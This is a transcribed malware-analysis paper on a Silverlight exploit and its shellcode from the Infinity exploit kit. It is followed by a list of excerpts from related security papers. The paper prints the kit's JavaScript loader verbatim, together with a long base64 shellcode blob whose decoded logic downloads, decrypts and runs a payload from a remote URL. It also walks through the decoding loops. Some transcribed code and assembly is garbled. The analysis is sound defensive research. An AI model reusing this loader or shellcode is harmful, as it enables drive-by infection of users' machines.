Diving into a Silverlight Exploit and Shellcode - Analysis and Techniques

Size: px
Start display at page:

Download "Diving into a Silverlight Exploit and Shellcode - Analysis and Techniques"

Transcription

1 Diving into a Silverlight Exploit and Shellcode - Analysis and Techniques By Omri Herscovici & Liran Englender January 04, 2015 Preface In recent years, exploit-kits are one of the most common platforms for malware distribution. One of the exploits coming from Infinity exploit-kit exploits a security vulnerability in Microsoft Silverlight. Compared to other technologies like Java, PDF, Flash, etc. Silverlight exploits are less common. Just to get a rough feeling, according to cvedetails.com, from 2010 to 2014, 15 Vulnerabilities were reported for Microsoft Silverlight, while Adobe Acrobat Reader had 268 vulnerabilities, Adobe Flash Player had 321 vulnerabilities; Microsoft Internet Explorer had 392 vulnerabilities and Java with at least 358 vulnerabilities. In many cases, an exploit analysis is bounded to some limitations and conditions dictated by the exploit s context. Thus, various relevant techniques have to be used in order to successfully analyze the exploit:.net DLL decompiling & patching, memory analysis and of course dynamic execution debugging. We will observe how the exploit is obfuscated; how it loads parts of the code dynamically into the memory in order to reduce the chances of being detected by signature based protections and how to extract these components from the exploit. In addition we will look at the shellcode supplied by the exploit-kit and how it uses encryption to hide the payload s URL and contents. Technical The Silverlight framework enables the development of web applications with features similar to those of Adobe flash and Java Applets. The Silverlight runtime environment is available for Windows and Mac OS x as a browser plugin. Microsoft Silverlight applications can be written in any.net programming language, compiled to Microsoft Intermediate Language (MSIL) and then hosted by the Silverlight CoreCLR (instead of the.net framework CLR). A Silverlight control is a zip format file with extension.xap containing a list of one or more.net managed assemblies (.DLL files) along with the AppManifest.XAML file.

2 In order to load a Silverlight control one has to use the <object> tag targeting the Silverlight plugin within an HTML document. The Exploit This is how the exploit is loaded in our sample: <script> The given script creates a div element and writes the value of payload2 into its innerhtml div_mahhhhker45(payload2); field. Later it adds this element into the body of the HTML document. </script> function div_mahhhhker45(payload_codersdfg) { var payload_div = window.document.createelement("div"); window.document.body.appendchild(payload_div); payload_div["innerhtml"] = payload_codersdfg; }; payload2 = '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="10" height="10"> <param name="source" value=" name="initparams" value="pion7=kjcqkotjydhazitqmitsditsfitykdh/ju8ymccspgf8aiwgwc8nacfi8ih/w7xkaotceissddujrcqcycngidesqgjadfppud9ybmsrsd2qmc mnsqupmtwwfpo8ox/2qkl18jdaqmhd61zgi2wkjitfpitubxgb6otkgitaiahr4zrjizslae4x/zha/kyewhqhwc8nacfr9dt8jch14ytajahrzosms4taha HriwSLAeiJRCQcYYsMJI1kJAz/4etsX1pXidYxyY1ZBaxLePUyBzx8D0TBqjwhdfBeieUxwI1ITMHhAynMieeNTxCNX1SNUFeNFJdXUVBQUFBQUFBT6Df///9 QUDHJjUlBweECUVNSUDHJZrlvblFodXJsbVRojk4O7Oja/v//UOsC60ToNf/////Qg8QIaE/vTwVQ6CX/////0IXAdSZqVFnzqmhy/rMW6Kv+//9Q6Ar////rFP /QhcB0CYnsiAPpbv///4nsw+tyYDHAUFBqA1BqB41ADMHIBFD/dCQ4uFro/4OD8P9Q6Gz+//9Q6Mv+////0InDUDHJUVFRUGoCUVFQaKwI2nboTP7//1 Doq/7//4nF/9CJx//VaFTKr5HoNP7//1Dok/7//zHJtRBqBFFXMclR/9CJxusC6x5QieAxyVFQV1ZTaBZl+hDoB/7//1DoZv7////Q63PrbTHJUVFRU//VieAxyV FQV1ZTaB95Cujo4P3//1DoP/7////QaNmF8zfozv3//1DoLf7//1P/0FgxybWAUTHJUVZorDMGA+ix/f//UOgQ/v///9Bo+5f9D+if/f//UOj+/f///9BhkJCQ6ev +///ruoslyoj4////btntnfzbieuxwi1aqmhgaineiebvvlejx4ngmccq/sb1+4nfmcmnaqux24nimdl39qicf4okdglcigqeiaqoicqe/sf15esc6z4xwdh JMdJdOel9J4nPR4PL/w+22yHfigQ+AtCKHBaIHD6IBBYCw4oEBos8JDAED0Hr1Vtdiexh6QP////rCuj5////DN467SLoqv3//2SqTp0YI/FOhUdtvV+eQWCr WMNBY7MV1BQ46QrVFDXqC8NPfO1GzA==" /></object>'; Once added, it targets the Microsoft Silverlight plugin. We can see that the file name is 4220.xap and that there is an initialization parameter that is to be given to the application upon startup named pion7, and its value looks like a base 64 encoded string. Usually, when an exploit comes from an exploit-kit, this value is the actual shell-code; An analysis of the shell-code will be covered later in this paper. For now, we ll focus on the exploit. As we said before, not too many Silverlight vulnerabilities were found over the last few years so it s easy to set our minds on a few candidates. The most common ones among exploit-kits are CVE and CVE A file named 4220.xap is downloaded to our machine. As mentioned above, XAP file is a zip file. There are 2 files in the archive. AppManifest.xaml contains the following text:

3 From the attributes we can see the targeted Silverlight runtime version, the entry point type and targeted assembly which is supplied as part of the XAP file. tics.dll is an MSIL compiled DLL, which means that we can try to decompile it. There are various tools to do it, such as:.net reflector, ILSpy and Telerik JustDecompile. Telerik JustDecompile shows the de-compilation product as follows: A quick look into the code reveals that the application is obfuscated. The AppManifest.xaml declares tics.app class as the entry point type.

4 The constructor for tics.app shows a flow that eventually loads the MainPage class constructor while supplying the initialization parameters. Let s look at the MainPage class constructor: The constructor above does the following: 1. Converts a base64 string returned from a function and assigns the value to a byte array. 2. Runs a XOR 253 (0xFD) loop on the byte array. 3. Loads a.net DLL to the memory using AssemblyPart.Load(). 4. Invokes a certain class constructor from the loaded assembly mentioned above, while supplying the initialization parameters. This is interesting! Let s find out what the loaded assembly is.

5 Telerik JustDecompile has a plugin that identifies known obfuscators and tries to de-obfuscate a given code. The output from the de-obfuscation plugin gives us the following code: All we have to do now is get this code out to Visual Studio, insert some minor changes and make it write the assembly into a file. The above results in a new.net DLL that exploits a Silverlight vulnerability - we will get to it later. A few other techniques are possible to de-obfuscate the DLL: 1. Re-compiling What if we knew the string which is given to the FromBase64String method? We would be able to do what we did earlier and write the data into a dll file. Unfortunately, de-compilers are not perfect, when we took the code for the function NYNLWC3ThxSrvrH0Fn.Cd0dbmEq1() and pasted it into Visual Studio it didn t compile at first. We had to go and fix the code manually - this takes a few hours and it isn t reliable, because some things get messy in the de-compilation process and you have to understand where exactly things went wrong.

6 2. Memory Analysis If we can t change the code let s try to observe the memory and find the loaded DLLs. First we need to take a memory dump. We tried to use DumpIt by MoonSols, but unfortunately it became unresponsive when the exploit starts, and when it finishes there are no longer any memory artifacts. Hitting the pause button on the virtual machine saves the memory into a VMSS file which is readable by Volatility framework. Using Volatility, we try to identify the DLLs as part of the modules that are linked to the Silverlight hosted process, which in this case, is Internet Explorer. We use the ldrmodules plugin in case the module was unlinked from the PEB and dump the result into a file. Looking at the output we try to identify the relevant DLLs by looking for one without a mapped path (since we know that they aren t loaded from the disk). Also, note that both of them don t appear in any of the doubly-linked lists (InMemOrder, InInitOrder and InLoadOrder) of the PEB, indicating the DLLs loaded into the process address space. Two modules match this description; one is loaded into 0x061f0000 and the other into 0x061c0000. One of the files is 58.5KB while the other is 13KB. Recall that at the beginning we had two files inside the XAP file: tics.dll and AppManifest.XAML. When we sum tics.dll and AppManifest.XAML sizes together we get 58.5 KB, and when looking inside the dumped DLL with size 58.5K, you can recognize the AppManifest content. So the first dumped DLL is the decompressed XAP file. Let s check the second file. Opening it with Telerik Decompile shows what we were looking for!

7 This code contains a class inheriting from HtmlObject and exploiting the Initialize method, hence CVE Patching Another technique is patching the exploit in order to write the DLL into a file instead of loading it into the memory. Since Silverlight DLL s compiled to MSIL (IL) we need to patch the constructor method using IL opcodes. In addition, we re bounded by our exploit s limitations. We could use OpenFileDialog() or any other API that gives us the ability to save the data. But MessageBox.Show(string) is an API that usually works on all versions and doesn t require a lot of special preparations. We manually added the IL code to produce the MessageBox; this is what it looks like after patching:

8 And this is the result of the patched exploit: Converting these decimal values to a binary file will result in a new obfuscated DLL file which is, predictably, exactly the same as the one we extracted previously.

9 The Shellcode We see that a big chunk of base64 parameter is being passed to the Silverlight exploit - definitely a good shellcode candidate. Let s have a closer look. Converting this base64 into hex will result in: The NOP sled at the beginning suggests that we were probably not wrong. Trying to emulate the shellcode encounters some difficulties, e.g. opcodes unsupported by the libemu engine. Let s try to debug this shellcode manually. The shellcode starts with a few long jumps, and then we get to the following loop:

10 We ll analyze this code in just a second, but before that, let s take a look at ESI and EDI: What we are about to find out by looking at the code is that the first 5 bytes starting from ESI (0c de 3a ed 22), are actually a rotating XOR key for decrypting the data starting from EDI. Let s take a look at the Loop: (Added note next to each line) MOV ESI, EDX ; ESI = XOR ECX, ECX ; ECX = 0 LEA EBX, DWORD PTR DS:[ECX+5] ; EBX = 5 LODS BYTE PTR DS:[ESI] DEC EBX ; EBX-- JS SHORT DE XOR AL, BYTE PTR DS:[EDI] CMP AL, 7Ch ; Checks if AL is CMOVE EAX, ECX ; Loads a byte from [ESI] to AL and Increases ESI ; IF EBX < 0: Jumps to Reload EBX & Reset ESI ; XOR s AL with the current byte in [EDI] STOS BYTE PTS ES:[EDI] CMP AL, 21h ; Checks if AL is! JNZ SHORT E5 ; If FALSE: Loop again ; If TRUE: Moves ECX (0/NULL Termination) to EAX ; Stores AL to [EDI] and INC EDI Inside the loop there are 2 conditions. 1) The first condition checks if the char was I, in this case, it sets AL to be 0 and stores it at the end of the string as a null terminator. 2) The second condition checks if the char was!, this means we got to the end of the URL so we can exit the loop and move on with the shellcode.

11 Eventually, this is how the loop decodes the URL: KEY: 0c de 3a ed 22 0c de 3a ed 22 0c de 3a ed c de 3a ed 22 0c de 3a ed 22 0c de 3a ed 22 XOR EDI: 64 aa 4e 9d f1 4e d bd 5f 9e e9 0a d ea 0b c3 4f 7c ed 46 cc h t t p : / / t h e a c e s c m p 3! After this part, the shellcode adds a parameter with a random value to the URI. The shellcode then downloads the payload into Internet Explorer temp folder. The payload comes with an mp3 extension, which is used to evade IPS, IDS and traffic policy. Executing the file using CreateProcessA() would be naturally its next command, but the payload still can t run since it is encrypted. Let s keep looking at the shellcode. We can see that the first line is a CALL operation that jumps up (and also pushes EIP), then POPs the return address from the stack, which points to FFFF. But the shellcode is interested in the next few bytes, which are, as you can see: 6D, 33, 53, 34, 56. These bytes represent the ASCII letters m3s4v. This is actually the key for decrypting the payload, but this one isn t as simple as the XOR loop we saw above.

12 As you can see, it is quite a big chunk of assembly code to be explained line by line in this post. But what this code does is a few things: 1) Creates a byte array with all values from 00 to FF. 2) Each byte is being replaced with another byte from the array. The replacement is calculated using the current char from the key and the value of the current replaced byte which creates sort of an 8-bit s-box. 3) Next we have another loop that is pretty much similar to the one before, except now it generates the final XOR key based on the s-box created in the first loop. This loop goes over the s-box periodically until all the bytes from the file are decrypted, holding an accumulator of the s-box values (modulus 256). In each iteration, the current byte in the s-box is replaced with the byte pointed by the accumulator, and the sum of these 2 bytes (modulus 256) is the next byte of the XOR key. Once decoding is done, the file is saved and a call to CreateProcessA() is done. Then the fun begins. We decided to translate this Assembly code into a Python script and write a generic tool decrypting payloads from Infinity (using the encrypted payload and the key as parameters).

13 Conclusion In this paper we examined the Microsoft Silverlight exploit and Shellcode served by Infinity Exploit-kit. We showed a few techniques dealing with obfuscated and dynamically loaded code, and identified the vulnerability using various approaches. Although Infinity Exploit-kit was very prevalent, its current status is unknown. However, Microsoft Silverlight exploits, specifically CVE , are still common among exploit kits.

Abysssec Research. 1) Advisory information. 2) Vulnerable version

Abysssec Research. 1) Advisory information. 2) Vulnerable version Abysssec Research 1) Advisory information Title Version Discovery Vendor Impact Contact Twitter CVE : Apple QuickTime FlashPix NumberOfTiles Remote Code Execution Vulnerability : QuickTime player 7.6.5

More information

Heap-based Buffer Overflow Vulnerability in Adobe Flash Player

Heap-based Buffer Overflow Vulnerability in Adobe Flash Player Analysis of Zero-Day Exploit_Issue 03 Heap-based Buffer Overflow Vulnerability in Adobe Flash Player CVE-2014-0556 20 December 2014 Table of Content Overview... 3 1. CVE-2014-0556 Vulnerability... 3 2.

More information

Identification and Removal of

Identification and Removal of RIVERSIDE RESEARCH INSTITUTE Deobfuscator: An Automated Approach to the Identification and Removal of Code Obfuscation Ei Eric Laspe, Reverse Engineer Jason Raber, Lead Reverse Engineer Overview The Problem:

More information

Fighting malware on your own

Fighting malware on your own Fighting malware on your own Vitaliy Kamlyuk Senior Virus Analyst Kaspersky Lab [email protected] Why fight malware on your own? 5 reasons: 1. Touch 100% of protection yourself 2. Be prepared

More information

Sandy. The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis. Garage4Hackers

Sandy. The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis. Garage4Hackers Sandy The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis About Me! I work as a Researcher for a Global Threat Research firm.! Spoke at the few security

More information

Hydra. Advanced x86 polymorphic engine. Incorporates existing techniques and introduces new ones in one package. All but one feature OS-independent

Hydra. Advanced x86 polymorphic engine. Incorporates existing techniques and introduces new ones in one package. All but one feature OS-independent Hydra Advanced x86 polymorphic engine Incorporates existing techniques and introduces new ones in one package All but one feature OS-independent Random register operations Different synonymous instructions

More information

esrever gnireenigne tfosorcim seiranib

esrever gnireenigne tfosorcim seiranib esrever gnireenigne tfosorcim seiranib Alexander Sotirov [email protected] CanSecWest / core06 Reverse Engineering Microsoft Binaries Alexander Sotirov [email protected] CanSecWest / core06 Overview

More information

TitanMist: Your First Step to Reversing Nirvana TitanMist. mist.reversinglabs.com

TitanMist: Your First Step to Reversing Nirvana TitanMist. mist.reversinglabs.com TitanMist: Your First Step to Reversing Nirvana TitanMist mist.reversinglabs.com Contents Introduction to TitanEngine.. 3 Introduction to TitanMist 4 Creating an unpacker for TitanMist.. 5 References and

More information

RIA SECURITY TECHNOLOGY

RIA SECURITY TECHNOLOGY RIA SECURITY TECHNOLOGY Ulysses Wang Security Researcher, Websense Hermes Li Security Researcher, Websense 2009 Websense, Inc. All rights reserved. Agenda RIA Introduction Flash Security Attack Vectors

More information

Application-Specific Attacks: Leveraging the ActionScript Virtual Machine

Application-Specific Attacks: Leveraging the ActionScript Virtual Machine IBM Global Technology Services April 2008 Application-Specific Attacks: Leveraging the ActionScript Virtual Machine By Mark Dowd X-Force Researcher IBM Internet Security Systems ([email protected])

More information

Introduction to Reverse Engineering

Introduction to Reverse Engineering Introduction to Reverse Engineering Inbar Raz Malware Research Lab Manager December 2011 What is Reverse Engineering? Reverse engineering is the process of discovering the technological principles of a

More information

Bypassing Anti- Virus Scanners

Bypassing Anti- Virus Scanners Bypassing Anti- Virus Scanners Abstract Anti-Virus manufacturers nowadays implements more and more complex functions and algorithms in order to detect the latest and newest viruses along with their variants.

More information

Introduction. Application Security. Reasons For Reverse Engineering. This lecture. Java Byte Code

Introduction. Application Security. Reasons For Reverse Engineering. This lecture. Java Byte Code Introduction Application Security Tom Chothia Computer Security, Lecture 16 Compiled code is really just data which can be edit and inspected. By examining low level code protections can be removed and

More information

Stack Overflows. Mitchell Adair

Stack Overflows. Mitchell Adair Stack Overflows Mitchell Adair Outline Why? What? There once was a VM Virtual Memory Registers Stack stack1, stack2, stack3 Resources Why? Real problem Real money Real recognition Still prevalent Very

More information

64-Bit NASM Notes. Invoking 64-Bit NASM

64-Bit NASM Notes. Invoking 64-Bit NASM 64-Bit NASM Notes The transition from 32- to 64-bit architectures is no joke, as anyone who has wrestled with 32/64 bit incompatibilities will attest We note here some key differences between 32- and 64-bit

More information

Format string exploitation on windows Using Immunity Debugger / Python. By Abysssec Inc WwW.Abysssec.Com

Format string exploitation on windows Using Immunity Debugger / Python. By Abysssec Inc WwW.Abysssec.Com Format string exploitation on windows Using Immunity Debugger / Python By Abysssec Inc WwW.Abysssec.Com For real beneficiary this post you should have few assembly knowledge and you should know about classic

More information

Deep Dive into.net Malwares

Deep Dive into.net Malwares Deep Dive into.net Malwares Author: Sudeep Singh Introduction In the recent past, there has been an increase in the usage of.net based malwares. These.NET malwares are often protected using different obfuscators

More information

Setting Up a Windows Virtual Machine for SANS FOR526

Setting Up a Windows Virtual Machine for SANS FOR526 Setting Up a Windows Virtual Machine for SANS FOR526 As part of the Windows Memory Forensics course, SANS FOR526, you will need to create a Windows virtual machine to use in class. We recommend using VMware

More information

風 水. Heap Feng Shui in JavaScript. Alexander Sotirov. [email protected]

風 水. Heap Feng Shui in JavaScript. Alexander Sotirov. asotirov@determina.com 風 水 Heap Feng Shui in JavaScript Alexander Sotirov [email protected] Black Hat Europe 2007 Introduction What is Heap Feng Shui? the ancient art of arranging heap blocks in order to redirect the program

More information

Inside a killer IMBot. Wei Ming Khoo University of Cambridge 19 Nov 2010

Inside a killer IMBot. Wei Ming Khoo University of Cambridge 19 Nov 2010 Do you? or Inside a killer IMBot Wei Ming Khoo University of Cambridge 19 Nov 2010 Background Tracking a botnet propagating over Skype & Yahoo IM. Bait is Foto Exploits social connectivity (friend

More information

Computer Organization and Architecture

Computer Organization and Architecture Computer Organization and Architecture Chapter 11 Instruction Sets: Addressing Modes and Formats Instruction Set Design One goal of instruction set design is to minimize instruction length Another goal

More information

Software Fingerprinting for Automated Malicious Code Analysis

Software Fingerprinting for Automated Malicious Code Analysis Software Fingerprinting for Automated Malicious Code Analysis Philippe Charland Mission Critical Cyber Security Section October 25, 2012 Terms of Release: This document is approved for release to Defence

More information

Off-by-One exploitation tutorial

Off-by-One exploitation tutorial Off-by-One exploitation tutorial By Saif El-Sherei www.elsherei.com Introduction: I decided to get a bit more into Linux exploitation, so I thought it would be nice if I document this as a good friend

More information

Generate Android App

Generate Android App Generate Android App This paper describes how someone with no programming experience can generate an Android application in minutes without writing any code. The application, also called an APK file can

More information

Self Protection Techniques in Malware

Self Protection Techniques in Malware DSIE 10 5 th Doctoral lsymposium on Informatics Engineering i January 28 29, 2010 Porto, Portugal Self Protection Techniques in Malware Tiago Santos Overview Introduction Malware Types Why Self Protection?

More information

C# and Other Languages

C# and Other Languages C# and Other Languages Rob Miles Department of Computer Science Why do we have lots of Programming Languages? Different developer audiences Different application areas/target platforms Graphics, AI, List

More information

CVE-2012-1535 Adobe Flash Player Integer Overflow Vulnerability Analysis

CVE-2012-1535 Adobe Flash Player Integer Overflow Vulnerability Analysis Your texte here. CVE-2012-1535 Adobe Flash Player Integer Overflow Vulnerability Analysis October 11 th, 2012 Brian MARIANI & Frédéric BOURLA A FEW WORDS ABOUT FLASH PLAYER Your Adobe texte Flash here

More information

Introduction. Figure 1 Schema of DarunGrim2

Introduction. Figure 1 Schema of DarunGrim2 Reversing Microsoft patches to reveal vulnerable code Harsimran Walia Computer Security Enthusiast 2011 Abstract The paper would try to reveal the vulnerable code for a particular disclosed vulnerability,

More information

Hide and seek - how targeted attacks hide behind clean applications Szappanos Gábor

Hide and seek - how targeted attacks hide behind clean applications Szappanos Gábor Hide and seek - how targeted attacks hide behind clean applications Szappanos Gábor Principal Malware Researcher 1 Honourable mentions: 2010. Stuxnet digitally signed drivers: stolen certificate June 2012.

More information

Bypassing Browser Memory Protections in Windows Vista

Bypassing Browser Memory Protections in Windows Vista Bypassing Browser Memory Protections in Windows Vista Mark Dowd & Alexander Sotirov [email protected] [email protected] Setting back browser security by 10 years Part I: Introduction Thesis Introduction

More information

Hotpatching and the Rise of Third-Party Patches

Hotpatching and the Rise of Third-Party Patches Hotpatching and the Rise of Third-Party Patches Alexander Sotirov [email protected] BlackHat USA 2006 Overview In the next one hour, we will cover: Third-party security patches _ recent developments

More information

Programming Languages

Programming Languages Programming Languages Programming languages bridge the gap between people and machines; for that matter, they also bridge the gap among people who would like to share algorithms in a way that immediately

More information

Creating Form Rendering ASP.NET Applications

Creating Form Rendering ASP.NET Applications Creating Form Rendering ASP.NET Applications You can create an ASP.NET application that is able to invoke the Forms service resulting in the ASP.NET application able to render interactive forms to client

More information

INTRODUCTION TO MALWARE & MALWARE ANALYSIS

INTRODUCTION TO MALWARE & MALWARE ANALYSIS INTRODUCTION TO MALWARE & MALWARE ANALYSIS by Quick Heal R&D lab Security Simplified INTRODUCTION Very often people call everything that corrupts their system a virus without being aware about what it

More information

Windows XP SP3 Registry Handling Buffer Overflow

Windows XP SP3 Registry Handling Buffer Overflow Windows XP SP3 Registry Handling Buffer Overflow by Matthew j00ru Jurczyk and Gynvael Coldwind Hispasec 1. Basic Information Name Windows XP SP3 Registry Handling Buffer Overflow Class Design Error Impact

More information

For a 64-bit system. I - Presentation Of The Shellcode

For a 64-bit system. I - Presentation Of The Shellcode #How To Create Your Own Shellcode On Arch Linux? #Author : N3td3v!l #Contact-mail : [email protected] #Website : Nopotm.ir #Spcial tnx to : C0nn3ct0r And All Honest Hackerz and Security Managers I - Presentation

More information

Hypercosm. Studio. www.hypercosm.com

Hypercosm. Studio. www.hypercosm.com Hypercosm Studio www.hypercosm.com Hypercosm Studio Guide 3 Revision: November 2005 Copyright 2005 Hypercosm LLC All rights reserved. Hypercosm, OMAR, Hypercosm 3D Player, and Hypercosm Studio are trademarks

More information

Board Notes on Virtual Memory

Board Notes on Virtual Memory Board Notes on Virtual Memory Part A: Why Virtual Memory? - Letʼs user program size exceed the size of the physical address space - Supports protection o Donʼt know which program might share memory at

More information

1. General function and functionality of the malware

1. General function and functionality of the malware 1. General function and functionality of the malware The malware executes in a command shell, it begins by checking to see if the executing file contains the MZP file extension, and then continues to access

More information

Lab 4.4 Secret Messages: Indexing, Arrays, and Iteration

Lab 4.4 Secret Messages: Indexing, Arrays, and Iteration Lab 4.4 Secret Messages: Indexing, Arrays, and Iteration This JavaScript lab (the last of the series) focuses on indexing, arrays, and iteration, but it also provides another context for practicing with

More information

Notes on Assembly Language

Notes on Assembly Language Notes on Assembly Language Brief introduction to assembly programming The main components of a computer that take part in the execution of a program written in assembly code are the following: A set of

More information

Lab Experience 17. Programming Language Translation

Lab Experience 17. Programming Language Translation Lab Experience 17 Programming Language Translation Objectives Gain insight into the translation process for converting one virtual machine to another See the process by which an assembler translates assembly

More information

Hijacking Arbitrary.NET Application Control Flow. Topher Timzen

Hijacking Arbitrary.NET Application Control Flow. Topher Timzen Hijacking Arbitrary.NET Application Control Flow Topher Timzen #whoami Topher Timzen Security Researcher, Intel Security Trainer @TTimzen TopherTimzen.com Overview.NET? Runtime Attacks Modify Control Flow

More information

Jonathan Worthington Scarborough Linux User Group

Jonathan Worthington Scarborough Linux User Group Jonathan Worthington Scarborough Linux User Group Introduction What does a Virtual Machine do? Hides away the details of the hardware platform and operating system. Defines a common set of instructions.

More information

Hacking your Droid ADITYA GUPTA

Hacking your Droid ADITYA GUPTA Hacking your Droid ADITYA GUPTA adityagupta1991 [at] gmail [dot] com facebook[dot]com/aditya1391 Twitter : @adi1391 INTRODUCTION After the recent developments in the smart phones, they are no longer used

More information

Dr. Seltsam, oder wie ich lernte, Malware zu lieben

Dr. Seltsam, oder wie ich lernte, Malware zu lieben Dr. Seltsam, oder wie ich lernte, Malware zu lieben Matthias Schmidt [email protected] Quid est Malware? 2 Viruses Spyware Worms Adware Malware Rootkits Trojans Keyloggers Ransomware Dialers 06/05/13 3

More information

ASL IT SECURITY XTREME XPLOIT DEVELOPMENT

ASL IT SECURITY XTREME XPLOIT DEVELOPMENT ASL IT SECURITY XTREME XPLOIT DEVELOPMENT V 2.0 A S L I T S e c u r i t y P v t L t d. Page 1 Overview: The most dangerous threat is the one which do not have a CVE. Until now developing reliable exploits

More information

CS412/CS413. Introduction to Compilers Tim Teitelbaum. Lecture 20: Stack Frames 7 March 08

CS412/CS413. Introduction to Compilers Tim Teitelbaum. Lecture 20: Stack Frames 7 March 08 CS412/CS413 Introduction to Compilers Tim Teitelbaum Lecture 20: Stack Frames 7 March 08 CS 412/413 Spring 2008 Introduction to Compilers 1 Where We Are Source code if (b == 0) a = b; Low-level IR code

More information

The full setup includes the server itself, the server control panel, Firebird Database Server, and three sample applications with source code.

The full setup includes the server itself, the server control panel, Firebird Database Server, and three sample applications with source code. Content Introduction... 2 Data Access Server Control Panel... 2 Running the Sample Client Applications... 4 Sample Applications Code... 7 Server Side Objects... 8 Sample Usage of Server Side Objects...

More information

Lecture 26: Obfuscation

Lecture 26: Obfuscation Lecture 26: Obfuscation 15411: Compiler Design Robbie Harwood and Maxime Serrano 21 November 2013 1 Introduction We have previously (lecture 20) considered the problem of doing compilation backwards (i.e.,

More information

Software Vulnerabilities

Software Vulnerabilities Software Vulnerabilities -- stack overflow Code based security Code based security discusses typical vulnerabilities made by programmers that can be exploited by miscreants Implementing safe software in

More information

Anti-virus Evasion Techniques. By: Abhinav Singh a.k.a DaRkLoRd

Anti-virus Evasion Techniques. By: Abhinav Singh a.k.a DaRkLoRd Research Whitepaper on Anti-virus Evasion Techniques By: Abhinav Singh a.k.a DaRkLoRd (Information Security Specialist) url : http://hackingalert.blogspot.com Anti-virus Evasion Techniques Anti-virus has

More information

unipaas V1.9c Release Notes

unipaas V1.9c Release Notes Release Notes W e are proud to introduce. is an improved and updated version of the unipaas V1.9 release. Read the information in this document to find out more about this latest unipaas version. For more

More information

Return-oriented programming without returns

Return-oriented programming without returns Faculty of Computer Science Institute for System Architecture, Operating Systems Group Return-oriented programming without urns S. Checkoway, L. Davi, A. Dmitrienko, A. Sadeghi, H. Shacham, M. Winandy

More information

Full System Emulation:

Full System Emulation: Full System Emulation: Achieving Successful Automated Dynamic Analysis of Evasive Malware Christopher Kruegel Lastline, Inc. [email protected] 1 Introduction Automated malware analysis systems (or sandboxes)

More information

Stitching the Gadgets On the Ineffectiveness of Coarse-Grained Control-Flow Integrity Protection

Stitching the Gadgets On the Ineffectiveness of Coarse-Grained Control-Flow Integrity Protection USENIX Security Symposium 2014, San Diego, CA, USA Stitching the Gadgets On the Ineffectiveness of Coarse-Grained Control-Flow Integrity Protection Lucas Davi Intel Collaborative Research Institute for

More information

Eclipse installation, configuration and operation

Eclipse installation, configuration and operation Eclipse installation, configuration and operation This document aims to walk through the procedures to setup eclipse on different platforms for java programming and to load in the course libraries for

More information

ELEG3924 Microprocessor Ch.7 Programming In C

ELEG3924 Microprocessor Ch.7 Programming In C Department of Electrical Engineering University of Arkansas ELEG3924 Microprocessor Ch.7 Programming In C Dr. Jingxian Wu [email protected] OUTLINE 2 Data types and time delay I/O programming and Logic operations

More information

Where s the FEEB? The Effectiveness of Instruction Set Randomization

Where s the FEEB? The Effectiveness of Instruction Set Randomization Where s the FEEB? The Effectiveness of Instruction Set Randomization Ana Nora Sovarel David Evans Nathanael Paul University of Virginia, Department of Computer Science http://www.cs.virginia.edu/feeb Abstract

More information

Abysssec Research. 1) Advisory information. 2) Vulnerable version

Abysssec Research. 1) Advisory information. 2) Vulnerable version Abysssec Research 1) Advisory information Title Version Analysis Vendor Impact Contact Twitter CVE : Microsoft MPEG Layer- 3 Audio Stack Based Overflow : l3codeca.acm (XP SP2 XP SP3) : http://www.abysssec.com

More information

Obfuscation: know your enemy

Obfuscation: know your enemy Obfuscation: know your enemy Ninon EYROLLES [email protected] Serge GUELTON [email protected] Prelude Prelude Plan 1 Introduction What is obfuscation? 2 Control flow obfuscation 3 Data flow

More information

Bypassing Memory Protections: The Future of Exploitation

Bypassing Memory Protections: The Future of Exploitation Bypassing Memory Protections: The Future of Exploitation Alexander Sotirov [email protected] About me Exploit development since 1999 Research into reliable exploitation techniques: Heap Feng Shui in JavaScript

More information

Identifying and Exploiting Padding Oracles. Brian Holyfield Gotham Digital Science

Identifying and Exploiting Padding Oracles. Brian Holyfield Gotham Digital Science Identifying and Exploiting Padding Oracles Brian Holyfield Gotham Digital Science Session ID: ASEC-403 Session Classification: Intermediate What is a Padding Oracle? We re a SQL Server Shop, we don t use

More information

RecoveryVault Express Client User Manual

RecoveryVault Express Client User Manual For Linux distributions Software version 4.1.7 Version 2.0 Disclaimer This document is compiled with the greatest possible care. However, errors might have been introduced caused by human mistakes or by

More information

Computing Concepts with Java Essentials

Computing Concepts with Java Essentials 2008 AGI-Information Management Consultants May be used for personal purporses only or by libraries associated to dandelon.com network. Computing Concepts with Java Essentials 3rd Edition Cay Horstmann

More information

ASSEMBLY PROGRAMMING ON A VIRTUAL COMPUTER

ASSEMBLY PROGRAMMING ON A VIRTUAL COMPUTER ASSEMBLY PROGRAMMING ON A VIRTUAL COMPUTER Pierre A. von Kaenel Mathematics and Computer Science Department Skidmore College Saratoga Springs, NY 12866 (518) 580-5292 [email protected] ABSTRACT This paper

More information

How Compilers Work. by Walter Bright. Digital Mars

How Compilers Work. by Walter Bright. Digital Mars How Compilers Work by Walter Bright Digital Mars Compilers I've Built D programming language C++ C Javascript Java A.B.E.L Compiler Compilers Regex Lex Yacc Spirit Do only the easiest part Not very customizable

More information

Online Backup Linux Client User Manual

Online Backup Linux Client User Manual Online Backup Linux Client User Manual Software version 4.0.x For Linux distributions August 2011 Version 1.0 Disclaimer This document is compiled with the greatest possible care. However, errors might

More information

TCP/IP Networking, Part 2: Web-Based Control

TCP/IP Networking, Part 2: Web-Based Control TCP/IP Networking, Part 2: Web-Based Control Microchip TCP/IP Stack HTTP2 Module 2007 Microchip Technology Incorporated. All Rights Reserved. Building Embedded Web Applications Slide 1 Welcome to the next

More information

Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail

Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail Hacking Techniques & Intrusion Detection Ali Al-Shemery arabnix [at] gmail All materials is licensed under a Creative Commons Share Alike license http://creativecommonsorg/licenses/by-sa/30/ # whoami Ali

More information

Online Backup Client User Manual

Online Backup Client User Manual For Linux distributions Software version 4.1.7 Version 2.0 Disclaimer This document is compiled with the greatest possible care. However, errors might have been introduced caused by human mistakes or by

More information

Parasitics: The Next Generation. Vitaly Zaytsev Abhishek Karnik Joshua Phillips

